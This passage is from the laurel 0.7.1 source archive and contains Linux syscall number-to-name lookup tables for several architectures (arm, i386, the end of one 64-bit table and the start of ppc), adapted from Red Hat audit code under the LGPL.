_S(69, "preadv") _S(70, "pwritev") _S(71, "sendfile") _S(72, "pselect6") _S(73, "ppoll") _S(74, "signalfd4") _S(75, "vmsplice") _S(76, "splice") _S(77, "tee") _S(78, "readlinkat") _S(79, "newfstatat") _S(80, "newfstat") _S(81, "sync") _S(82, "fsync") _S(83, "fdatasync") _S(84, "sync_file_range") _S(85, "timerfd_create") _S(86, "timerfd_settime") _S(87, "timerfd_gettime") _S(88, "utimensat") _S(89, "acct") _S(90, "capget") _S(91, "capset") _S(92, "personality") _S(93, "exit") _S(94, "exit_group") _S(95, "waitid") _S(96, "set_tid_address") _S(97, "unshare") _S(98, "futex") _S(99, "set_robust_list") _S(100, "get_robust_list") _S(101, "nanosleep") _S(102, "getitimer") _S(103, "setitimer") _S(104, "kexec_load") _S(105, "init_module") _S(106, "delete_module") _S(107, "timer_create") _S(108, "timer_gettime") _S(109, "timer_getoverrun") _S(110, "timer_settime") _S(111, "timer_delete") _S(112, "clock_settime") _S(113, "clock_gettime") _S(114, "clock_getres") _S(115, "clock_nanosleep") _S(116, "syslog") _S(117, "ptrace") _S(118, "sched_setparam") _S(119, "sched_setscheduler") _S(120, "sched_getscheduler") _S(121, "sched_getparam") _S(122, "sched_setaffinity") _S(123, "sched_getaffinity") _S(124, "sched_yield") _S(125, "sched_get_priority_max") _S(126, "sched_get_priority_min") _S(127, "sched_rr_get_interval") _S(128, "restart_syscall") _S(129, "kill") _S(130, "tkill") _S(131, "tgkill") _S(132, "sigaltstack") _S(133, "rt_sigsuspend") _S(134, "rt_sigaction") _S(135, "rt_sigprocmask") _S(136, "rt_sigpending") _S(137, "rt_sigtimedwait") _S(138, "rt_sigqueueinfo") _S(139, "rt_sigreturn") _S(140, "setpriority") _S(141, "getpriority") _S(142, "reboot") _S(143, "setregid") _S(144, "setgid") _S(145, "setreuid") _S(146, "setuid") _S(147, "setresuid") _S(148, "getresuid") _S(149, "setresgid") _S(150, "getresgid") _S(151, "setfsuid") _S(152, "setfsgid") _S(153, "times") _S(154, "setpgid") _S(155, "getpgid") _S(156, "getsid") _S(157, "setsid") _S(158, "getgroups") _S(159, "setgroups") _S(160, "uname") _S(161, "sethostname") _S(162, "setdomainname") _S(163, "getrlimit") _S(164, "setrlimit") _S(165, "getrusage") _S(166, "umask") _S(167, "prctl") _S(168, "getcpu") _S(169, "gettimeofday") _S(170, "settimeofday") _S(171, "adjtimex") _S(172, "getpid") _S(173, "getppid") _S(174, "getuid") _S(175, "geteuid") _S(176, "getgid") _S(177, "getegid") _S(178, "gettid") _S(179, "sysinfo") _S(180, "mq_open") _S(181, "mq_unlink") _S(182, "mq_timedsend") _S(183, "mq_timedreceive") _S(184, "mq_notify") _S(185, "mq_getsetattr") _S(186, "msgget") _S(187, "msgctl") _S(188, "msgrcv") _S(189, "msgsnd") _S(190, "semget") _S(191, "semctl") _S(192, "semtimedop") _S(193, "semop") _S(194, "shmget") _S(195, "shmctl") _S(196, "shmat") _S(197, "shmdt") _S(198, "socket") _S(199, "socketpair") _S(200, "bind") _S(201, "listen") _S(202, "accept") _S(203, "connect") _S(204, "getsockname") _S(205, "getpeername") _S(206, "sendto") _S(207, "recvfrom") _S(208, "setsockopt") _S(209, "getsockopt") _S(210, "shutdown") _S(211, "sendmsg") _S(212, "recvmsg") _S(213, "readahead") _S(214, "brk") _S(215, "munmap") _S(216, "mremap") _S(217, "add_key") _S(218, "request_key") _S(219, "keyctl") _S(220, "clone") _S(221, "execve") _S(222, "mmap") _S(223, "fadvise64") _S(224, "swapon") _S(225, "swapoff") _S(226, "mprotect") _S(227, "msync") _S(228, "mlock") _S(229, "munlock") _S(230, "mlockall") _S(231, "munlockall") _S(232, "mincore") _S(233, "madvise") _S(234, "remap_file_pages") _S(235, "mbind") _S(236, "get_mempolicy") _S(237, "set_mempolicy") _S(238, "migrate_pages") _S(239, "move_pages") _S(240, "rt_tgsigqueueinfo") _S(241, "perf_event_open") _S(242, "accept4") _S(243, "recvmmsg") _S(260, "wait4") _S(261, "prlimit64") _S(262, "fanotify_init") _S(263, "fanotify_mark") _S(264, "name_to_handle_at") _S(265, "open_by_handle_at") _S(266, "clock_adjtime") _S(267, "syncfs") _S(268, "setns") _S(269, "sendmmsg") _S(270, "process_vm_readv") _S(271, "process_vm_writev") _S(272, "kcmp") _S(273, "finit_module") _S(274, "sched_setattr") _S(275, "sched_getattr") _S(276, "renameat2") _S(277, "seccomp") _S(278, "getrandom") _S(279, "memfd_create") _S(280, "bpf") _S(281, "execveat") _S(282, "userfaultfd") _S(283, "membarrier") _S(284, "mlock2") _S(285, "copy_file_range") _S(286, "preadv2") _S(287, "pwritev2") _S(288, "pkey_mprotect") _S(289, "pkey_alloc") _S(290, "pkey_free") _S(291, "statx") _S(292, "io_pgetevents") _S(293, "rseq") _S(294, "kexec_file_load") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/arm_table.h000064400000000000000000000236431046102023000162460ustar 00000000000000/* arm_table.h -- * Copyright 2009-10,2013-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "restart_syscall") _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(29, "pause") _S(30, "utime") _S(33, "access") _S(34, "nice") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") _S(52, "umount2") _S(54, "ioctl") _S(55, "fcntl") _S(57, "setpgid") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(82, "select") _S(83, "symlink") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(99, "statfs") _S(100, "fstatfs") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(111, "vhangup") _S(113, "syscall") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(128, "init_module") _S(129, "delete_module") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "llseek") _S(141, "getdents") _S(142, "newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(168, "poll") _S(169, "nfsservctl") _S(170, "setresgid") _S(171, "getresgid") _S(172, "prctl") _S(173, "rt_sigreturn") _S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread64") _S(181, "pwrite64") _S(182, "chown") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(190, "vfork") _S(191, "ugetrlimit") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "lchown32") _S(199, "getuid32") _S(200, "getgid32") _S(201, "geteuid32") _S(202, "getegid32") _S(203, "setreuid32") _S(204, "setregid32") _S(205, "getgroups32") _S(206, "setgroups32") _S(207, "fchown32") _S(208, "setresuid32") _S(209, "getresuid32") _S(210, "setresgid32") _S(211, "getresgid32") _S(212, "chown32") _S(213, "setuid32") _S(214, "setgid32") _S(215, "setfsuid32") _S(216, "setfsgid32") _S(217, "getdents64") _S(218, "pivot_root") _S(219, "mincore") _S(220, "madvise") _S(221, "fcntl64") _S(224, "gettid") _S(225, "readahead") _S(226, "setxattr") _S(227, "lsetxattr") _S(228, "fsetxattr") _S(229, "getxattr") _S(230, "lgetxattr") _S(231, "fgetxattr") _S(232, "listxattr") _S(233, "llistxattr") _S(234, "flistxattr") _S(235, "removexattr") _S(236, "lremovexattr") _S(237, "fremovexattr") _S(238, "tkill") _S(239, "sendfile64") _S(240, "futex") _S(241, "sched_setaffinity") _S(242, "sched_getaffinity") _S(243, "io_setup") _S(244, "io_destroy") _S(245, "io_getevents") _S(246, "io_submit") _S(247, "io_cancel") _S(248, "exit_group") _S(249, "lookup_dcookie") _S(250, "epoll_create") _S(251, "epoll_ctl") _S(252, "epoll_wait") _S(253, "remap_file_pages") _S(256, "set_tid_address") _S(257, "timer_create") _S(258, "timer_settime") _S(259, "timer_gettime") _S(260, "timer_getoverrun") _S(261, "timer_delete") _S(262, "clock_settime") _S(263, "clock_gettime") _S(264, "clock_getres") _S(265, "clock_nanosleep") _S(266, "statfs64") _S(267, "fstatfs64") _S(268, "tgkill") _S(269, "utimes") // originally arm_fadvise64_64, but let's maintain common naming _S(270, "fadvise64_64") _S(271, "pciconfig_iobase") _S(272, "pciconfig_read") _S(273, "pciconfig_write") _S(274, "mq_open") _S(275, "mq_unlink") _S(276, "mq_timedsend") _S(277, "mq_timedreceive") _S(278, "mq_notify") _S(279, "mq_getsetattr") _S(280, "waitid") _S(281, "socket") _S(282, "bind") _S(283, "connect") _S(284, "listen") _S(285, "accept") _S(286, "getsockname") _S(287, "getpeername") _S(288, "socketpair") _S(289, "send") _S(290, "sendto") _S(291, "recv") _S(292, "recvfrom") _S(293, "shutdown") _S(294, "setsockopt") _S(295, "getsockopt") _S(296, "sendmsg") _S(297, "recvmsg") _S(298, "semop") _S(299, "semget") _S(300, "semctl") _S(301, "msgsnd") _S(302, "msgrcv") _S(303, "msgget") _S(304, "msgctl") _S(305, "shmat") _S(306, "shmdt") _S(307, "shmget") _S(308, "shmctl") _S(309, "add_key") _S(310, "request_key") _S(311, "keyctl") _S(312, "semtimedop") _S(313, "vserver") _S(314, "ioprio_set") _S(315, "ioprio_get") _S(316, "inotify_init") _S(317, "inotify_add_watch") _S(318, "inotify_rm_watch") _S(319, "mbind") _S(320, "get_mempolicy") _S(321, "set_mempolicy") _S(322, "openat") _S(323, "mkdirat") _S(324, "mknodat") _S(325, "fchownat") _S(326, "futimesat") _S(327, "fstatat64") _S(328, "unlinkat") _S(329, "renameat") _S(330, "linkat") _S(331, "symlinkat") _S(332, "readlinkat") _S(333, "fchmodat") _S(334, "faccessat") _S(335, "pselect6") _S(336, "ppoll") _S(337, "unshare") _S(338, "set_robust_list") _S(339, "get_robust_list") _S(340, "splice") // originally arm_sync_file_range, but let's maintain common naming _S(341, "sync_file_range") _S(342, "tee") _S(343, "vmsplice") _S(344, "move_pages") _S(345, "getcpu") _S(346, "epoll_pwait") _S(347, "kexec_load") _S(348, "utimensat") _S(349, "signalfd") _S(350, "timerfd_create") _S(351, "eventfd") _S(352, "fallocate") _S(353, "timerfd_settime") _S(354, "timerfd_gettime") _S(355, "signalfd4") _S(356, "eventfd2") _S(357, "epoll_create1") _S(358, "dup3") _S(359, "pipe2") _S(360, "inotify_init1") _S(361, "preadv") _S(362, "pwritev") _S(363, "rt_tgsigqueueinfo") _S(364, "perf_event_open") _S(365, "recvmmsg") _S(366, "accept4") _S(367, "fanotify_init") _S(368, "fanotify_mark") _S(369, "prlimit64") _S(370, "name_to_handle_at") _S(371, "open_by_handle_at") _S(372, "clock_adjtime") _S(373, "syncfs") _S(374, "sendmmsg") _S(375, "setns") _S(376, "process_vm_readv") _S(377, "process_vm_writev") _S(378, "kcmp") _S(379, "finit_module") _S(380, "sched_setattr") _S(381, "sched_getattr") _S(382, "renameat2") _S(383, "seccomp") _S(384, "getrandom") _S(385, "memfd_create") _S(386, "bpf") _S(387, "execveat") _S(388, "userfaultfd") _S(389, "membarrier") _S(390, "mlock2") _S(391, "copy_file_range") _S(392, "preadv2") _S(393, "pwritev2") _S(394, "pkey_mprotect") _S(395, "pkey_alloc") _S(396, "pkey_free") _S(397, "statx") _S(398, "rseq") _S(399, "io_pgetevents") _S(400, "migrate_pages") _S(401, "kexec_file_load") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/i386_table.h000064400000000000000000000244601046102023000161560ustar 00000000000000/* i386_table.h -- * Copyright 2005-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "restart_syscall") _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(7, "waitpid") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(17, "break") _S(18, "oldstat") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(28, "oldfstat") _S(29, "pause") _S(30, "utime") _S(31, "stty") _S(32, "gtty") _S(33, "access") _S(34, "nice") _S(35, "ftime") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(44, "prof") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(48, "signal") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") _S(52, "umount2") _S(53, "lock") _S(54, "ioctl") _S(55, "fcntl") _S(56, "mpx") _S(57, "setpgid") _S(58, "ulimit") _S(59, "oldolduname") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(68, "sgetmask") _S(69, "ssetmask") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(82, "select") _S(83, "symlink") _S(84, "oldlstat") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(98, "profil") _S(99, "statfs") _S(100, "fstatfs") _S(101, "ioperm") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(109, "olduname") _S(110, "iopl") _S(111, "vhangup") _S(112, "idle") _S(113, "vm86old") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(123, "modify_ldt") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "_llseek") _S(141, "getdents") _S(142, "_newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(166, "vm86") _S(167, "query_module") _S(168, "poll") _S(169, "nfsservctl") _S(170, "setresgid") _S(171, "getresgid") _S(172, "prctl") _S(173, "rt_sigreturn") _S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread64") _S(181, "pwrite64") _S(182, "chown") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(188, "getpmsg") _S(189, "putpmsg") _S(190, "vfork") _S(191, "ugetrlimit") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "lchown32") _S(199, "getuid32") _S(200, "getgid32") _S(201, "geteuid32") _S(202, "getegid32") _S(203, "setreuid32") _S(204, "setregid32") _S(205, "getgroups32") _S(206, "setgroups32") _S(207, "fchown32") _S(208, "setresuid32") _S(209, "getresuid32") _S(210, "setresgid32") _S(211, "getresgid32") _S(212, "chown32") _S(213, "setuid32") _S(214, "setgid32") _S(215, "setfsuid32") _S(216, "setfsgid32") _S(217, "pivot_root") _S(218, "mincore") _S(219, "madvise") _S(219, "madvise1") _S(220, "getdents64") _S(221, "fcntl64") _S(224, "gettid") _S(225, "readahead") _S(226, "setxattr") _S(227, "lsetxattr") _S(228, "fsetxattr") _S(229, "getxattr") _S(230, "lgetxattr") _S(231, "fgetxattr") _S(232, "listxattr") _S(233, "llistxattr") _S(234, "flistxattr") _S(235, "removexattr") _S(236, "lremovexattr") _S(237, "fremovexattr") _S(238, "tkill") _S(239, "sendfile64") _S(240, "futex") _S(241, "sched_setaffinity") _S(242, "sched_getaffinity") _S(243, "set_thread_area") _S(244, "get_thread_area") _S(245, "io_setup") _S(246, "io_destroy") _S(247, "io_getevents") _S(248, "io_submit") _S(249, "io_cancel") _S(250, "fadvise64") _S(252, "exit_group") _S(253, "lookup_dcookie") _S(254, "epoll_create") _S(255, "epoll_ctl") _S(256, "epoll_wait") _S(257, "remap_file_pages") _S(258, "set_tid_address") _S(259, "timer_create") _S(260, "timer_settime") _S(261, "timer_gettime") _S(262, "timer_getoverrun") _S(263, "timer_delete") _S(264, "clock_settime") _S(265, "clock_gettime") _S(266, "clock_getres") _S(267, "clock_nanosleep") _S(268, "statfs64") _S(269, "fstatfs64") _S(270, "tgkill") _S(271, "utimes") _S(272, "fadvise64_64") _S(273, "vserver") _S(274, "mbind") _S(275, "get_mempolicy") _S(276, "set_mempolicy") _S(277, "mq_open") _S(278, "mq_unlink") _S(279, "mq_timedsend") _S(280, "mq_timedreceive") _S(281, "mq_notify") _S(282, "mq_getsetattr") _S(283, "sys_kexec_load") _S(284, "waitid") // 285 is setaltroot but it is not defined (yet) _S(286, "add_key") _S(287, "request_key") _S(288, "keyctl") _S(289, "ioprio_set") _S(290, "ioprio_get") _S(291, "inotify_init") _S(292, "inotify_add_watch") _S(293, "inotify_rm_watch") _S(294, "migrate_pages") _S(295, "openat") _S(296, "mkdirat") _S(297, "mknodat") _S(298, "fchownat") _S(299, "futimesat") _S(300, "fstatat64") _S(301, "unlinkat") _S(302, "renameat") _S(303, "linkat") _S(304, "symlinkat") _S(305, "readlinkat") _S(306, "fchmodat") _S(307, "faccessat") _S(308, "pselect6") _S(309, "ppoll") _S(310, "unshare") _S(311, "set_robust_list") _S(312, "get_robust_list") _S(313, "splice") _S(314, "sync_file_range") _S(315, "tee") _S(316, "vmsplice") _S(317, "move_pages") _S(318, "getcpu") _S(319, "epoll_pwait") _S(320, "utimensat") _S(321, "signalfd") _S(322, "timerfd_create") _S(323, "eventfd") _S(324, "fallocate") _S(325, "timerfd_settime") _S(326, "timerfd_gettime") _S(327, "signalfd4") _S(328, "eventfd2") _S(329, "epoll_create1") _S(330, "dup3") _S(331, "pipe2") _S(332, "inotify_init1") _S(333, "preadv") _S(334, "pwritev") _S(335, "rt_tgsigqueueinfo") _S(336, "perf_event_open") _S(337, "recvmmsg") _S(338, "fanotify_init") _S(339, "fanotify_mark") _S(340, "prlimit64") _S(341, "name_to_handle_at") _S(342, "open_by_handle_at") _S(343, "clock_adjtime") _S(344, "syncfs") _S(345, "sendmmsg") _S(346, "setns") _S(347, "process_vm_readv") _S(348, "process_vm_writev") _S(349, "kcmp") _S(350, "finit_module") _S(351, "sched_setattr") _S(352, "sched_getattr") _S(353, "renameat2") _S(354, "seccomp") _S(355, "getrandom") _S(356, "memfd_create") _S(357, "bpf") _S(358, "execveat") _S(359, "socket") _S(360, "socketpair") _S(361, "bind") _S(362, "connect") _S(363, "listen") _S(364, "accept4") _S(365, "getsockopt") _S(366, "setsockopt") _S(367, "getsockname") _S(368, "getpeername") _S(369, "sendto") _S(370, "sendmsg") _S(371, "recvfrom") _S(372, "recvmsg") _S(373, "shutdown") _S(374, "userfaultfd") _S(375, "membarrier") _S(376, "mlock2") _S(377, "copy_file_range") _S(378, "preadv2") _S(379, "pwritev2") _S(380, "pkey_mprotect") _S(381, "pkey_alloc") _S(382, "pkey_free") _S(383, "statx") _S(384, "arch_prctl") _S(385, "io_pgetevents") _S(386, "rseq") _S(393, "semget") _S(394, "semctl") _S(395, "shmget") _S(396, "shmctl") _S(397, "shmat") _S(398, "shmdt") _S(399, "msgget") _S(400, "msgsnd") _S(401, "msgrcv") _S(402, "msgctl") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/ppc_table.h000064400000000000000000000242261046102023000162470ustar 00000000000000/* ppc_table.h -- * Copyright 2005-09,2011-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "restart_syscall") _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(7, "waitpid") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(17, "break") _S(18, "oldstat") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(28, "oldfstat") _S(29, "pause") _S(30, "utime") _S(31, "stty") _S(32, "gtty") _S(33, "access") _S(34, "nice") _S(35, "ftime") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(44, "prof") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(48, "signal") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") 